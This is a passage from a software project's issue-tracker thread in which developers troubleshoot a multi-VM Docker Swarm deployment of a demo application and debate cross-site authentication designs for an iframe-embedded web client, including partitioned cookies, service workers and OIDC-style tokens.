exec sudo startup_pg.sh
"
volumes:
- hotel_db_postgres:/pgdata
environment:
PGDATA: ${PGDATA:-/pgdata/fwdcluster}
PGPORT: ${PGPORT:-5432}
healthcheck:
test: ["CMD-SHELL", "pg_isready -h localhost -p 5432"]
interval: 5s
timeout: 15s
retries: 10
networks:
- corp_net
deploy:
placement:
constraints:
- node.hostname == fwddev1
restart_policy:
condition: on-failure
hotel_server:
image: hotel_gui_server:latest
hostname: hotelsrv
command: >
bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel postgres"
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'
healthcheck:
test: ["CMD-SHELL", "cd /opt/hotel/server && ./server.sh -s"]
interval: 5s
timeout: 15s
retries: 10
networks:
- corp_net
deploy:
placement:
constraints:
- node.hostname == fwddev2
restart_policy:
condition: on-failure
ports:
- target: 7443
published: 7443
protocol: tcp
mode: host
hotel_broker1:
image: hotel_gui_client:latest
hostname: hotelbrk1
command: >
bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker1_client.xml"
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
networks:
- corp_net
deploy:
placement:
constraints:
- node.hostname == fwddev3
restart_policy:
condition: on-failure
hotel_broker2:
image: hotel_gui_client:latest
hostname: hotelbrk2
command: >
bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker2_client.xml"
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
networks:
- corp_net
deploy:
placement:
constraints:
- node.hostname == fwddev3
restart_policy:
condition: on-failure
volumes:
hotel_db_postgres:
external: true
networks:
corp_net:
external: true
Unfortunately, while the server connected to the database, and the brokers connected, the URL redirection didn't work, and I was left with hotelbrk2 refused to connect.
On each of the systems, I've updated the /etc/hosts to make the IP addresses of the hosts available as names:
127.0.0.1 localhost 127.0.1.1 fwddev3 192.168.1.241 fwddev1 hoteldb 192.168.1.232 fwddev2 hotelsrv 192.168.1.227 rfb
On my laptop I have:
192.168.1.241 fwddev1 hoteldb 192.168.1.232 fwddev2 hotelsrv 192.168.1.207 fwddev3 hotelbrk1 hotelbrk2
So it might have something to do with trying to have 2 brokers on the same IP address.
In any case, setting up swarm was pretty easy, although I don't know much about diagnosing issues and looking at output.
#533 Updated by Roger Borrello 5 months ago
- File 9709_swarm_setup.png added
I removed one broker from the swarm configuration to simplify things. The same issue comes up. I went in to developer mode, and I'm seeing the below.
Sergey, any clues? I'm using 9709b_16459 and the ports are all exposed. I saw that you can add them in the configuration (they don't support ranges), so it looks like:
hotel_server:
image: hotel_gui_server:latest
hostname: hotelsrv
command: >
bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel postgres"
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'
healthcheck:
test: ["CMD-SHELL", "cd /opt/hotel/server && ./server.sh -s"]
interval: 5s
timeout: 15s
retries: 10
networks:
- corp_net
deploy:
placement:
constraints:
- node.hostname == fwddev2
restart_policy:
condition: on-failure
ports:
- target: 7443
published: 7443
protocol: tcp
mode: host
- target: 7449
published: 7449
protocol: tcp
mode: host
- target: 7450
published: 7450
protocol: tcp
mode: host
- target: 7451
published: 7451
protocol: tcp
mode: host
- target: 7452
published: 7452
protocol: tcp
mode: host
- target: 7453
published: 7453
protocol: tcp
mode: host
- target: 7454
published: 7454
protocol: tcp
mode: host
- target: 7455
published: 7455
protocol: tcp
mode: host
- target: 7456
published: 7456
protocol: tcp
mode: host
- target: 74577
published: 7457
protocol: tcp
mode: host
- target: 7458
published: 7458
protocol: tcp
mode: host
- target: 7459
published: 7459
protocol: tcp
mode: host
#534 Updated by Sergey Ivanovskiy 5 months ago
This should be the certificate issue, you should copy the link and open this link in a new tab.
#535 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
My note is that one page design added this issue for the broker clients setup because in this case the main page becomes the page containing a cross-site page (web client page) inside iframe. So the browser security policy prevents the browser to attach the secure cookie with each requests to the web client. This is an issue we are trying to overcome. The design before was multi page design. On submitting user/password the login page was redirected to the web client page. In this case the issue was not present.
Greg, Constantin, Hynek, please point me on the task, where the one-page design was discussed. I did not find the corresponding notes in the mentioned #3931. Can we move back to multi-page design? The login page served on port 7443 redirects to a new page (web client page) hosted on a different (or the same) host and port. Why did we use a one-page design?
#536 Updated by Sergey Ivanovskiy 5 months ago
I'm using 9709b_16459 and the ports are all exposed. I saw that you can add them in the configuration (they don't support ranges)
Roger, the port ranges are supported via webClient/portsRange and given by the server directory but the broker clients have no such setup because they should use the given range. Please provide instruction how to reproduce the issue.
#537 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
Sergey Ivanovskiy wrote:
I would like to discuss an issue we are facing. The Java web client starts an authentication service that provides web tokens for authorized clients. When the 4GL logic loads the welcome page in the web HTML browser widget, the web client attaches the authenticated token to that page. The welcome page is DHTML; while we don’t know its exact structure, every request from this page to the Java client's embedded web server must be authenticated.
Currently, a token is used per request, and a new one must be requested each time. Only authorized clients can receive a new token, which is the key issue. I don't have a proposal for this specific schema yet. We could potentially weaken the token security by allowing a token to be valid for a specific duration; the DHTML page could then extract the token from the URL parameters. However, this schema is insecure because the token would remain visible in the browser history.I found new proposals to apply service workers:
https://developer.chrome.com/docs/workbox/service-worker-overview/
https://www.sjoerdlangkemper.nl/2021/01/06/adding-headers-to-image-request-using-service-workers/
https://itnext.io/using-service-worker-as-an-auth-relay-5abc402878dd
https://github.com/ForgeRock/appAuthHelper/blob/master/service_workers.md
Service workers do not work with self-signed certificates:
Service Workers, by their nature, require a secure context (HTTPS) to function. When the browser detects a problem with the SSL certificate (e.g., it's self-signed, expired, invalid, or issued by an untrusted authority), it prevents the Service Worker from registering. This is a security measure to protect users from potential man-in-the-middle attacks or insecure script injection.
Thus, I can only propose to use separate pages for login, web client, and embedded web clients as it was done with the initial design. Do you have objections?
#538 Updated by Sergey Ivanovskiy 5 months ago
Roger, I just observed your note:
So it might have something to do with trying to have 2 brokers on the same IP address.
Each broker must have a unique ip address. This is the current design. If two have the same address, then their should share the common ports range.
#539 Updated by Constantin Asofiei 5 months ago
Sergey Ivanovskiy wrote:
Sergey Ivanovskiy wrote:
My note is that one page design added this issue for the broker clients setup because in this case the main page becomes the page containing a cross-site page (web client page) inside iframe. So the browser security policy prevents the browser to attach the secure cookie with each requests to the web client. This is an issue we are trying to overcome. The design before was multi page design. On submitting user/password the login page was redirected to the web client page. In this case the issue was not present.
Greg, Constantin, Hynek, please point me on the task, where the one-page design was discussed. I did not find the corresponding notes in the mentioned #3931. Can we move back to multi-page design? The login page served on port 7443 redirects to a new page (web client page) hosted on a different (or the same) host and port. Why did we use a one-page design?
The iframe was initially introduced by:
revno: 14783 [merge] committer: Galya Bogdanova <gbb@goldencode.com> branch nick: trunk timestamp: Mon 2023-10-23 16:17:59 +0300 message: Web driver handlers rework, SsoAuthenticator interface added to allow custom in-app login page implementation in place of OS user login (refs #3931, #4129) ------------------------------------------------------------ Use --include-merged or -n0 to see merged revisions.
This may be a hard requirement for the SSO work.
#540 Updated by Constantin Asofiei 5 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
Sergey Ivanovskiy wrote:
My note is that one page design added this issue for the broker clients setup because in this case the main page becomes the page containing a cross-site page (web client page) inside iframe. So the browser security policy prevents the browser to attach the secure cookie with each requests to the web client. This is an issue we are trying to overcome. The design before was multi page design. On submitting user/password the login page was redirected to the web client page. In this case the issue was not present.
Greg, Constantin, Hynek, please point me on the task, where the one-page design was discussed. I did not find the corresponding notes in the mentioned #3931. Can we move back to multi-page design? The login page served on port 7443 redirects to a new page (web client page) hosted on a different (or the same) host and port. Why did we use a one-page design?
The iframe was initially introduced by:
[...]This may be a hard requirement for the SSO work.
One relevant note I think was #3931-292
#541 Updated by Sergey Ivanovskiy 5 months ago
Did you mean this one?
managed to remove CORS. Changes in supported http methods and js.
I do not think that SSO is related to the one portal setup.
#542 Updated by Constantin Asofiei 5 months ago
I mean the parts where we redirect to logout page, auto-login and so on. Also the 'open related session' may be dependent on the iframe changes.
#543 Updated by Sergey Ivanovskiy 5 months ago
Constantin Asofiei wrote:
I mean the parts where we redirect to logout page, auto-login and so on. Also the 'open related session' may be dependent on the iframe changes.
All these pages could be separate pages. I did not find restrictions. Could you help/explain where is the root cause of this solution?
#544 Updated by Sergey Ivanovskiy 5 months ago
The one page portal is frontend part that can be implemented as separate pages. Is my view correct? What did I miss here?
#545 Updated by Constantin Asofiei 5 months ago
Sergey Ivanovskiy wrote:
The one page portal is frontend part that can be implemented as separate pages. Is my view correct? What did I miss here?
I don't disagree - but we need to get all existing functionality working correctly after refactoring.
#546 Updated by Sergey Ivanovskiy 5 months ago
There are several template pages:
web_landing.html, web_logout.html, web_oidc_login.html, web_partial_login_embedded.html, web_partial_login.html
web_landing.html has functionalities that I am not aware of. There are these ones related to channels:
case 'MSG_SET_KEY_VALUE':
localStorage.setItem(event.data.key, event.data.value);
iframeWindow.postMessage(baseResponse, iframeOrigin);
break;
case 'MSG_GET_KEY_VALUE':
iframeWindow.postMessage({
...baseResponse,
value: localStorage.getItem(event.data.key)
}, iframeOrigin);
break;
case 'MSG_DELETE_KEY_VALUE':
localStorage.removeItem(event.data.key);
iframeWindow.postMessage(baseResponse, iframeOrigin);
break;
case 'MSG_REGISTER_CHANNEL':
createChannel(event.data.key, event.data.value);
break;
case 'MSG_PING_CHANNEL':
{
const channelName = event.data.key;
const targetChannelId = event.data.value;
if (channelName === broadcastChannel.name)
{
waitingPongDiv.style.display = 'block';
broadcastChannel.postMessage({
type: 'ping',
msgId: event.data.msgId,
id: targetChannelId,
});
}
else
{
iframeWindow.postMessage({
...baseResponse,
error: 'Invalid broadcast channel name ' + channelName
}, iframeOrigin);
}
break;
}
case 'MSG_PING_ANY_CHANNEL':
const channelName = event.data.key;
if (channelName === broadcastChannel.name)
{
waitingPongDiv.style.display = 'block';
for (const targetChannelId of event.data.value)
{
broadcastChannel.postMessage({
type: 'ping',
msgId: event.data.msgId,
id: targetChannelId,
});
}
}
else
{
iframeWindow.postMessage({
...baseResponse,
error: 'Invalid broadcast channel name ' + channelName
}, iframeOrigin);
}
break;
Could someone help to clarify usages of these channels? The following question that is not clear for me related to
localStorage usages. Can these usage be moved into the web_client page?#547 Updated by Sergey Ivanovskiy 5 months ago
If I understand correctly, then ACME client was removed from FWD project because Let's Encrypt certificates are not used.
#548 Updated by Sergey Ivanovskiy 5 months ago
BroadcastChannels are used to The Broadcast Channel API allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin. So, it is not possible to communicate between different broker hosts tab pages.
#549 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
BroadcastChannelsare used to The Broadcast Channel API allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin. So, it is not possible to communicate between different broker hosts tab pages.
It can be replaced by cross-document messaging. Do I recall correctly that this is used for the related session feature (see SESSION NEW-SESSION Method and Web Session Forking).
#550 Updated by Sergey Ivanovskiy 5 months ago
Yes, it should be used to manage opened pages in the browser but I just found this code
case 'CLOSE':
waitingPongDiv.style.display = 'none';
// VD will reload the page, embedded will not, so reset vars
iframeOrigin = null;
iframeWindow = null;
broadcastChannel?.close();
broadcastChannel = null;
break;
for
web_landing.html and p2j.socket.js should send CLOSE from this code
/**
* If the server is still up, redirect to the logout page. If not, show service unavailable dialog.
*/
function doRedirectToLogoutPage()
{
//try to clear session authorization cookies
clearSessionAuthCookie();
exitTheApplication = true;
closeWebSocketSafely("redirecting to the logout page");
window.top.postMessage({ type: 'CLOSE' }, topPageOrigin);
.............................
}
and the web socket message can trigger this code
else if (payload.type && localMsgTypes.includes(payload.type))
{
window.top.postMessage(payload, topPageOrigin);
}
that is from the java web client.
#552 Updated by Roger Borrello 5 months ago
Greg Shah wrote:
In regard to the issues you posted in #9709-532, I understand that these same issues are not present in the "all-in-one" compose configuration. Is that correct?
That is correct. The networking between containers is handled internally. It's only when I move containers to separate VMs that I have problems with the containers communicating with each other, and have to "switch gears".
#553 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
This should be the certificate issue, you should copy the link and open this link in a new tab.
In this case there was no URL. Just the hotelbrk2 refused to connect. And because it is the broker, there isn't any web server to connect to, I guess.
Right now there are some networking things to think through, so don't spend any more time thinking on my issues.
#554 Updated by Sergey Ivanovskiy 5 months ago
OK.
I created 9709d for changes to do separate pages for login, web client page and logout page. The existing functionalities should work properly with the supposed changes.
#555 Updated by Greg Shah 5 months ago
Roger Borrello wrote:
Greg Shah wrote:
In regard to the issues you posted in #9709-532, I understand that these same issues are not present in the "all-in-one" compose configuration. Is that correct?
That is correct. The networking between containers is handled internally. It's only when I move containers to separate VMs that I have problems with the containers communicating with each other, and have to "switch gears".
External access via the web clients is working fully?
#556 Updated by Roger Borrello 5 months ago
Greg Shah wrote:
Roger Borrello wrote:
Greg Shah wrote:
In regard to the issues you posted in #9709-532, I understand that these same issues are not present in the "all-in-one" compose configuration. Is that correct?
That is correct. The networking between containers is handled internally. It's only when I move containers to separate VMs that I have problems with the containers communicating with each other, and have to "switch gears".
External access via the web clients is working fully?
Yes, with the exception of having to accept the certificate manually by copy/pasting the URL.
#557 Updated by Sergey Ivanovskiy 5 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
BroadcastChannelsare used to The Broadcast Channel API allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin. So, it is not possible to communicate between different broker hosts tab pages.It can be replaced by cross-document messaging. Do I recall correctly that this is used for the related session feature (see SESSION NEW-SESSION Method and Web Session Forking).
Now it is clear for me the portal choice was made but it is possible to use postMessage for communication between different origins. We need to synchronize localStorage values between different origins.
#558 Updated by Sergey Ivanovskiy 5 months ago
We can use the distributed localStorage between different origins without synchronizations.
#559 Updated by Sergey Ivanovskiy 5 months ago
I should notify that for the embedded web client we have the same issue because the web client is embedded into iframe. This page is not considered yet.
#560 Updated by Sergey Ivanovskiy 5 months ago
Greg, I missed in my consideration the embedded web client case that makes changes because the embedded web client is designed to be a cross-site page inside iframe. So, I am slightly tired with these issues because for the first way to be completed I need web service listener (Service Worker API) that does not work with self-signed certificates we are constantly using and the rall back to separate pages that is an inversion of the current web portal design does not work for the embedded page.
#561 Updated by Sergey Ivanovskiy 5 months ago
That is zugzwang.
#562 Updated by Sergey Ivanovskiy 5 months ago
Thus I should use valid certificates with the web client but not self-signed and should come back to the first way.
#563 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
I'm using 9709b_16459 and the ports are all exposed. I saw that you can add them in the configuration (they don't support ranges)
Roger, the port ranges are supported via
webClient/portsRangeand given by the server directory but the broker clients have no such setup because they should use the given range. Please provide instruction how to reproduce the issue.
I failed to configure the port exposing on the broker. It seems they have to be exposed both on the server and the broker. Now we are "swarming"!
But in swarm I cannot specify a unique IP address for the 2 broker services within the same destination server, so we cannot have multiple brokers on the same node configured with the same set of ports. I was successful configuring 2 brokers, but I gave the odd ports to broker1 and the even ports to broker2 (just for grins.) We can't do that in real life because we might hand an odd port to broker 2, but it proves out the configuration.
Greg, we now have separation. I will create a templates for these 2 "all-in-one" YAMLs. The Swarm YAML "deploys" to the destination nodes. Below is the "mock-up" with 2 brokers. I don't think we should use that. We should really have a 4th VM if we are going to show Swarm with 2 brokers.
#564 Updated by Sergey Ivanovskiy 5 months ago
I do not understand what do you mean by It seems they have to be exposed both on the server and the broker. Now we are "swarming"!
#565 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
I do not understand what do you mean by
It seems they have to be exposed both on the server and the broker. Now we are "swarming"!
Swarm is a Docker tool for placing containers across multiple computers or VMs. I was able to configure our Docker compose setup across 3 VMs using the "Swarm" technology fairly quickly. It turns out we need to expose the ports on the Docker containers for access in both the server and broker. Otherwise the service cannot be accessed.
#566 Updated by Greg Shah 5 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
I'm using 9709b_16459 and the ports are all exposed. I saw that you can add them in the configuration (they don't support ranges)
Roger, the port ranges are supported via
webClient/portsRangeand given by the server directory but the broker clients have no such setup because they should use the given range. Please provide instruction how to reproduce the issue.I failed to configure the port exposing on the broker. It seems they have to be exposed both on the server and the broker.
The client port ranges would always need to be exposed on the client containers.
But in swarm I cannot specify a unique IP address for the 2 broker services within the same destination server, so we cannot have multiple brokers on the same node configured with the same set of ports.
Isn't this just a statement that the same port numbers can't be used on a single IP address? That would always be a limitation.
Greg, we now have separation. I will create a templates for these 2 "all-in-one" YAMLs. The Swarm YAML "deploys" to the destination nodes. Below is the "mock-up" with 2 brokers. I don't think we should use that. We should really have a 4th VM if we are going to show Swarm with 2 brokers.
Yes, we would generally expect the client containers to be on separate systems.
#567 Updated by Sergey Ivanovskiy 5 months ago
OK. SSLCertUtils has an option to load external certificate to be used instead of self-signed root certificate. Have we valid certificate suite for the development purpose. Migrating to Java 17 we did not update AcmeClient and removed it from the source but there still exists possibility to load the external root certificate suite. I need the valid web certificates for our web clients and web server for Service Worker usage. The service worker will play a role of a proxy between the web client and the network so all requests can be modified with authentication header.
#568 Updated by Roger Borrello 5 months ago
- File prepare_dir_pg_broker_allinone.json added
deploy/server directory of Hotel GUI:
prepare_compose.shprepare_swarm.sh
These both work off the prepare_dir.json file, that now has just a few additional fields to allow build out of the all-in-on docker-compose.yaml and the all-in-one docker-swarm.yml, which is really for deploying to multiple VMs.
Input files are new templates in the docker/tmpl directory@. The sample JSON from ./deploy/etc is attached.
#569 Updated by Sergey Ivanovskiy 5 months ago
Coming back to the ground I found that there is another alternative CHIPS (Cookies Having Independent Partitioned State). There is an issue with Jetty cookie API but this cookie can be set manually. This should solve the secure issue because it looks like an alternative to SameSite = NONE. Thus I am planning to check this way with 9709d.
#570 Updated by Sergey Ivanovskiy 5 months ago
Hynek, please review the committed revision 16434 (9709d) for evaluation and comments. It looks that we are safe to use CHIPS cookie that is exactly for our purposes. It needs to do a fallback for Firefox and Safari via Storage Access API.
#571 Updated by Sergey Ivanovskiy 5 months ago
- Status changed from WIP to Feedback
#572 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
Coming back to the ground I found that there is another alternative CHIPS (Cookies Having Independent Partitioned State). There is an issue with Jetty cookie API but this cookie can be set manually. This should solve the secure issue because it looks like an alternative to
SameSite = NONE. Thus I am planning to check this way with 9709d.
I don't think CHIPS will work here.
Partition cookies are stored in partitions. A partition is a combination of top-level site + the embedded site (for example iframe). So every combination FWD server + specific FWD client domain/ip would get its own storage for the session cookies. You would have to force the user to authenticate for all the combinations FWD server domain + FWD client domain.
I have another idea, we already implement OIDC login provider why don't we use this mechanism also for the FWD server + FWD client mechanism? We would implement a simple OIDC provider and authenticate clients against it. No funky custom solutions with tokens hoping to get it right, but standard and solid security solution.
#573 Updated by Sergey Ivanovskiy 5 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Coming back to the ground I found that there is another alternative CHIPS (Cookies Having Independent Partitioned State). There is an issue with Jetty cookie API but this cookie can be set manually. This should solve the secure issue because it looks like an alternative to
SameSite = NONE. Thus I am planning to check this way with 9709d.I don't think CHIPS will work here.
Partitioncookies are stored in partitions. A partition is a combination of top-level site + the embedded site (for example iframe). So every combination FWD server + specific FWD client domain/ip would get its own storage for the session cookies. You would have to force the user to authenticate for all the combinations FWD server domain + FWD client domain.
Please explain I do not understand why to authenticate for all the combinations FWD server domain + FWD client domain?
I have another idea, we already implement OIDC login provider why don't we use this mechanism also for the FWD server + FWD client mechanism? We would implement a simple OIDC provider and authenticate clients against it. No funky custom solutions with tokens hoping to get it right, but standard and solid security solution.
The same issue should be with the cross-site. OIDC is based on the cookie. I wonder that you evaluated this so low.
#574 Updated by Sergey Ivanovskiy 5 months ago
Partition cookies are stored in partitions. A partition is a combination of top-level site + the embedded site (for example iframe).
That is exactly what we need.
#575 Updated by Sergey Ivanovskiy 5 months ago
I also wonder that OIDC implementation uses client side cookie that is not secured object because it is attached to the document.
#576 Updated by Sergey Ivanovskiy 5 months ago
Constantin, please review 16434 (9709d) and share your opinions. I think that it is a unique reasonable way to preserve the current functionality and design and according to internet search the existing standard for such web sites.
#577 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
Please explain I do not understand why
to authenticate for all the combinations FWD server domain + FWD client domain?
When you use the partitioned attribute, the browser does not just look at the domain to decide whether to send a cookie. It uses a double key consisting of the top level site and the embedded site. This means the browser stores the cookie in an isolated bucket tied only to that specific combination.
If our infrastructure rotates the user to a different client node or IP address, the browser looks for a different storage bucket. Since that bucket will be empty, the user appears logged out. Because our client domains and IPs are not sticky, the user would be forced to reauthenticate every time they hit a different node or if the server logic switches the iframe source.
I have another idea, we already implement OIDC login provider why don't we use this mechanism also for the FWD server + FWD client mechanism? We would implement a simple OIDC provider and authenticate clients against it. No funky custom solutions with tokens hoping to get it right, but standard and solid security solution.
The same issue should be with the cross-site. OIDC is based on the cookie. I wonder that you evaluated this so low.
OIDC allows you to move the authentication state out of the cookie and into a token that FWD controls. It is an established security standard, which we also implement for 3rd party authentication.
#578 Updated by Sergey Ivanovskiy 5 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Please explain I do not understand why
to authenticate for all the combinations FWD server domain + FWD client domain?When you use the partitioned attribute, the browser does not just look at the domain to decide whether to send a cookie. It uses a double key consisting of the top level site and the embedded site. This means the browser stores the cookie in an isolated bucket tied only to that specific combination.
If our infrastructure rotates the user to a different client node or IP address, the browser looks for a different storage bucket. Since that bucket will be empty, the user appears logged out. Because our client domains and IPs are not sticky, the user would be forced to reauthenticate every time they hit a different node or if the server logic switches the iframe source.
I have another idea, we already implement OIDC login provider why don't we use this mechanism also for the FWD server + FWD client mechanism? We would implement a simple OIDC provider and authenticate clients against it. No funky custom solutions with tokens hoping to get it right, but standard and solid security solution.
The same issue should be with the cross-site. OIDC is based on the cookie. I wonder that you evaluated this so low.
OIDC allows you to move the authentication state out of the cookie and into a token that FWD controls. It is an established security standard, which we also implement for 3rd party authentication.
I see from the code that OIDC client uses the cookie so if the cookie policy will be STRICT or LAX , our remote broker setup encountered the same issue. It looks that you are trying to move me to the issue we should solve. I can only propose to you create 9709e and make the changes here to show the way you proposed. At this moment I do not understand how it should work with the remote broker setup.
#579 Updated by Hynek Cihlar 5 months ago
Hynek Cihlar wrote:
OIDC allows you to move the authentication state out of the cookie and into a token that FWD controls. It is an established security standard, which we also implement for 3rd party authentication.
This is pretty much the token idea we have considered but implemented with OIDC. With our own OIDC provider we could offer a centralized SSO solution to our customers, no need to rely on 3rd party. Or vice versa we could just plug-in in an existing SSO infrastructure.
#580 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
I see from the code that OIDC client uses the cookie so if the cookie policy will be STRICT or LAX , our remote broker setup encountered the same issue. It looks that you are trying to move me to the issue we should solve. I can only propose to you create 9709e and make the changes here to show the way you proposed. At this moment I do not understand how it should work with the remote broker setup.
I didn't mean to pressure you in a solution. I'm just offering a solution and opening a discussion.
#581 Updated by Sergey Ivanovskiy 5 months ago
Hynek Cihlar wrote:
Hynek Cihlar wrote:
OIDC allows you to move the authentication state out of the cookie and into a token that FWD controls. It is an established security standard, which we also implement for 3rd party authentication.
This is pretty much the token idea we have considered but implemented with OIDC. With our own OIDC provider we could offer a centralized SSO solution to our customers, no need to rely on 3rd party. Or vice versa we could just plug-in in an existing SSO infrastructure.
It seems that I understand your ideas but please could you share them and so spent more time on the details of your way. I would like you to do this because it clarifies caveats on this way. For example, to complete 9709b I need to use service workers that cannot work with self-signed certificates. This is interesting part of work but it requires to use Let's Encrypt web server certificates or another valid for the development purposes.
#582 Updated by Constantin Asofiei 5 months ago
Hynek Cihlar wrote:
If our infrastructure rotates the user to a different client node or IP address, the browser looks for a different storage bucket.
This rotation will happen only when the user wants to access the login page (again) - which may see the user as already auth and proceed directly to launching the FWD client. But, shouldn't the auth cookie already be on the landing page domain (and only there)? Only after that the iframe is launched and from there it can set the partitioned cookie.
#583 Updated by Sergey Ivanovskiy 5 months ago
In 9709d working on new session scenario because I only committed changes for the direct web client SSO spawn. The other changes are needed.
#584 Updated by Hynek Cihlar 5 months ago
Constantin Asofiei wrote:
Hynek Cihlar wrote:
If our infrastructure rotates the user to a different client node or IP address, the browser looks for a different storage bucket.
This rotation will happen only when the user wants to access the login page (again) - which may see the user as already auth and proceed directly to launching the FWD client. But, shouldn't the auth cookie already be on the landing page domain (and only there)? Only after that the iframe is launched and from there it can set the partitioned cookie.
This is true, but authenticating the client is the easiest case. Partition cookies would still not solve the edge cases when you would need to access server resources from the client, it wouldn't solve the case when you open a mime resource in a new tab and it would cause more issues when mixing embedded mode with virtual mode (i.e. different top-sites).
#585 Updated by Hynek Cihlar 5 months ago
Hynek Cihlar wrote:
This is true, but authenticating the client is the easiest case. Partition cookies would still not solve the edge cases when you would need to access server resources from the client, it wouldn't solve the case when you open a mime resource in a new tab and it would cause more issues when mixing embedded mode with virtual mode (i.e. different top-sites).
Or when FWD is embedded (for any reasons) in different top-domains.
#586 Updated by Hynek Cihlar 5 months ago
I'm attaching a document describing the potential Cross-Domain spawning solution. It uses a subset of OIDC technologies but without the need of OIDC provider. The document was crafted by AI and was fully reviewed by myself. The included diagrams are in Mermaid format (can be visualized with many compatible tools out there).
#587 Updated by Hynek Cihlar 5 months ago
Hynek Cihlar wrote:
(can be visualized with many compatible tools out there).
I recommend bierner.markdown-mermaid plugin for VS Code.
#588 Updated by Greg Shah 5 months ago
For example, to complete 9709b I need to use service workers that cannot work with self-signed certificates. This is interesting part of work but it requires to use Let's Encrypt web server certificates or another valid for the development purposes.
We can't force everyone to use real certs, self-signed certs must be supported. This seems to mean that service workers are not a solution for us.
#589 Updated by Sergey Ivanovskiy 5 months ago
Thank you for this document, although it does not consider the html browse widget and another driver widgets. It is not clear how the requested resources will be authenticated. The most important case is DHTML document. It needs that dynamically loaded resources, new sessions, auto logins and OIDC client cases will be considered in this document before following the proposed changes. Replacing authentication cookies is huge changes for the current architecture.
#590 Updated by Sergey Ivanovskiy 5 months ago
Greg Shah wrote:
For example, to complete 9709b I need to use service workers that cannot work with self-signed certificates. This is interesting part of work but it requires to use Let's Encrypt web server certificates or another valid for the development purposes.
We can't force everyone to use real certs, self-signed certs must be supported. This seems to mean that service workers are not a solution for us.
OK.
#591 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
For example, to complete 9709b I need to use service workers that cannot work with self-signed certificates. This is interesting part of work but it requires to use Let's Encrypt web server certificates or another valid for the development purposes.
We can't force everyone to use real certs, self-signed certs must be supported. This seems to mean that service workers are not a solution for us.
OK.
In this case there is an open question how to authenticate requests from DHTML documents. We should resolve this issue to follow farther.
#592 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
In this case there is an open question how to authenticate requests from DHTML documents. We should resolve this issue to follow farther.
Yes, this is a good point. I see several potential use cases. Can you please share details of the particular one you have on your mind?
#593 Updated by Sergey Ivanovskiy 5 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
In this case there is an open question how to authenticate requests from DHTML documents. We should resolve this issue to follow farther.
Yes, this is a good point. I see several potential use cases. Can you please share details of the particular one you have on your mind?
This is DHTML that implements the customers menu for the large project. I supposed to use service worker API to modify requests from this document loaded by html browser widget.
#594 Updated by Greg Shah 5 months ago
Why does an iframe for something like the HTML browser widget need to know about the top level origin? I can see that our main iframe that sits inside the welcome/login page may have some integration with the top level origin, but I don't understand why the more deeply nested iframes would be affected.
#595 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
In this case there is an open question how to authenticate requests from DHTML documents. We should resolve this issue to follow farther.
Yes, this is a good point. I see several potential use cases. Can you please share details of the particular one you have on your mind?
This is DHTML that implements the customers menu for the large project. I supposed to use service worker API to modify requests from this document loaded by html browser widget.
Yes, that is one of such cases. Another one is spreadsheet widget, which is even worse. As there are 3rd party libraries involved without any control of how it accesses the client.
We could make a random url path prefix with the scope of the client process (or even shorter if needed). Combined with HTTPS this should be close to a session cookie in terms of security.
So the resources would be loaded from url such as https://localhsot:12345/<client>/_s/a7f3b9c2e1d4/spreadsheet/2343.
What do you think?
#596 Updated by Hynek Cihlar 5 months ago
Hynek Cihlar wrote:
Combined with HTTPS this should be close to a session cookie in terms of security.
I take this one back. Session cookie is stronger, a malicious script can't steal a session id. But I don't have a better proposal.
#597 Updated by Hynek Cihlar 5 months ago
Hynek Cihlar wrote:
Hynek Cihlar wrote:
Combined with HTTPS this should be close to a session cookie in terms of security.
I take this one back. Session cookie is stronger, a malicious script can't steal a session id. But I don't have a better proposal.
We could use script-src 'self' and Referrer-Policy: no-referrer to harden it.
